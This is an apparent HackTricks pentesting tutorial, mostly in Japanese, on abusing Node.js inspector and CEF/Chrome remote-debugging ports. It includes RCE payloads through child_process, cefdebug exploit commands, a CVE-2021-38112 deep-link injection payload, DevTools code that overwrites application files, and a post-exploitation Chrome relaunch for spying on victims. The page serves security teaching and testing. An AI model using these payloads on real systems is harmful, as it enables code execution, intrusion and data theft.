Node inspector/CEF debug abuse

Support HackTricks

基本情報

From the docs: --inspect スイッチで起動すると、Node.js プロセスはデバッグクライアントを待ち受けます。デフォルトでは、ホストとポート 127.0.0.1:9229 で待ち受けます。各プロセスには ユニークUUID も割り当てられます。

インスペクタクライアントは、接続するためにホストアドレス、ポート、および UUID を知って指定する必要があります。完全な URL は ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e のようになります。

デバッガーは Node.js 実行環境への完全なアクセス権を持っているため、このポートに接続できる悪意のあるアクターは、Node.js プロセスの代わりに任意のコードを実行できる可能性があります(潜在的な特権昇格)。

インスペクタを起動する方法はいくつかあります:

node --inspect app.js #Will run the inspector in port 9229
node --inspect=4444 app.js #Will run the inspector in port 4444
node --inspect=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
# --inspect-brk is equivalent to --inspect

node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
# Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector

インスペクトされたプロセスを開始すると、次のようなものが表示されます:

Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
For help, see: https://nodejs.org/en/docs/inspector

プロセスは、CEFChromium Embedded Framework)に基づいており、デバッガを開くためにパラメータ --remote-debugging-port=9222 を使用する必要があります(SSRF保護は非常に似ています)。しかし、NodeJS デバッグセッションを付与する代わりに、Chrome DevTools Protocolを使用してブラウザと通信します。これはブラウザを制御するためのインターフェースですが、直接的なRCEはありません。

デバッグされたブラウザを起動すると、次のようなものが表示されます:

DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369

ブラウザ、WebSocket、および同一生成元ポリシー

ウェブブラウザで開かれたウェブサイトは、ブラウザのセキュリティモデルの下でWebSocketおよびHTTPリクエストを行うことができます。初期HTTP接続は、ユニークなデバッガセッションIDを取得するために必要です。同一生成元ポリシーは、ウェブサイトがこのHTTP接続を行うことを防ぎますDNSリバインディング攻撃に対する追加のセキュリティとして、Node.jsは接続の**'Host'ヘッダーIPアドレスまたはlocalhostまたはlocalhost6**を正確に指定していることを確認します。

このセキュリティ対策は、インスペクタを悪用してコードを実行することを防ぎますHTTPリクエストを送信するだけで(これはSSRF脆弱性を悪用して行うことができる)、実行されることはありません。

実行中のプロセスでインスペクタを起動する

実行中のnodejsプロセスにSIGUSR1信号を送信すると、デフォルトポートでインスペクタを起動させることができます。ただし、十分な権限が必要であるため、これによりプロセス内の情報への特権アクセスが付与される可能性がありますが、直接的な特権昇格にはなりません。

kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d

これはコンテナ内で便利です。なぜなら、--inspectプロセスをシャットダウンして新しいものを開始することは選択肢ではないからです。コンテナはプロセスと共に終了します。

インスペクタ/デバッガに接続する

Chromiumベースのブラウザに接続するには、ChromeまたはEdgeのそれぞれに対してchrome://inspectまたはedge://inspectのURLにアクセスできます。Configureボタンをクリックして、ターゲットホストとポートが正しくリストされていることを確認する必要があります。画像はリモートコード実行(RCE)の例を示しています:

コマンドラインを使用して、次のようにデバッガ/インスペクタに接続できます:

node inspect <ip>:<port>
node inspect 127.0.0.1:9229
# RCE example from debug console
debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")

ツール https://github.com/taviso/cefdebug は、ローカルで実行されているインスペクタを見つけコードを注入することを可能にします。

#List possible vulnerable sockets
./cefdebug.exe
#Check if possibly vulnerable
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.version"
#Exploit it
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"

注意してください、NodeJS RCE エクスプロイトは Chrome DevTools Protocol に接続されている場合は機能しません(APIを確認して、興味深いことを見つける必要があります)。

NodeJS デバッガー/インスペクターにおける RCE

Node インスペクター に接続できるときに RCE を取得する一般的な方法のいくつかは、(これは Chrome DevTools プロトコルへの接続では機能しないようです)を使用することです:

process.mainModule.require('child_process').exec('calc')
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
require('child_process').spawnSync('calc.exe')
Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"}))

Chrome DevTools Protocol Payloads

APIはここで確認できます: https://chromedevtools.github.io/devtools-protocol/ このセクションでは、私が人々がこのプロトコルを悪用するために使用した興味深いことをリストします。

Deep Linksによるパラメータインジェクション

CVE-2021-38112で、RhinoセキュリティはCEFに基づくアプリケーションがシステムにカスタムURI(workspaces://)を登録し、完全なURIを受け取り、そのURIから部分的に構成された設定でCEFベースのアプリケーションを起動することを発見しました。

URIパラメータはURLデコードされ、CEF基本アプリケーションを起動するために使用され、ユーザーが**--gpu-launcherフラグをコマンドラインインジェクト**し、任意のものを実行できることが判明しました。

したがって、次のようなペイロード:

workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE

calc.exeを実行します。

ファイルの上書き

ダウンロードしたファイルが保存されるフォルダを変更し、悪意のあるコードでアプリケーションのソースコード上書きするファイルをダウンロードします。

ws = new WebSocket(url); //URL of the chrome devtools service
ws.send(JSON.stringify({
id: 42069,
method: 'Browser.setDownloadBehavior',
params: {
behavior: 'allow',
downloadPath: '/code/'
}
}));

Webdriver RCEと情報漏洩

この投稿によると: https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148 RCEを取得し、内部ページをtheriverから情報漏洩させることが可能です。

ポストエクスプロイト

実際の環境で、Chrome/Chromiumベースのブラウザを使用しているユーザーPCを侵害した後デバッグを有効にしてデバッグポートをポートフォワードすることでChromeプロセスを起動できます。これにより、被害者がChromeで行うすべてを検査し、機密情報を盗むことができます

ステルスな方法は、すべてのChromeプロセスを終了させ、その後何かを呼び出すことです。

Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"

参考文献

HackTricksをサポートする

Last updated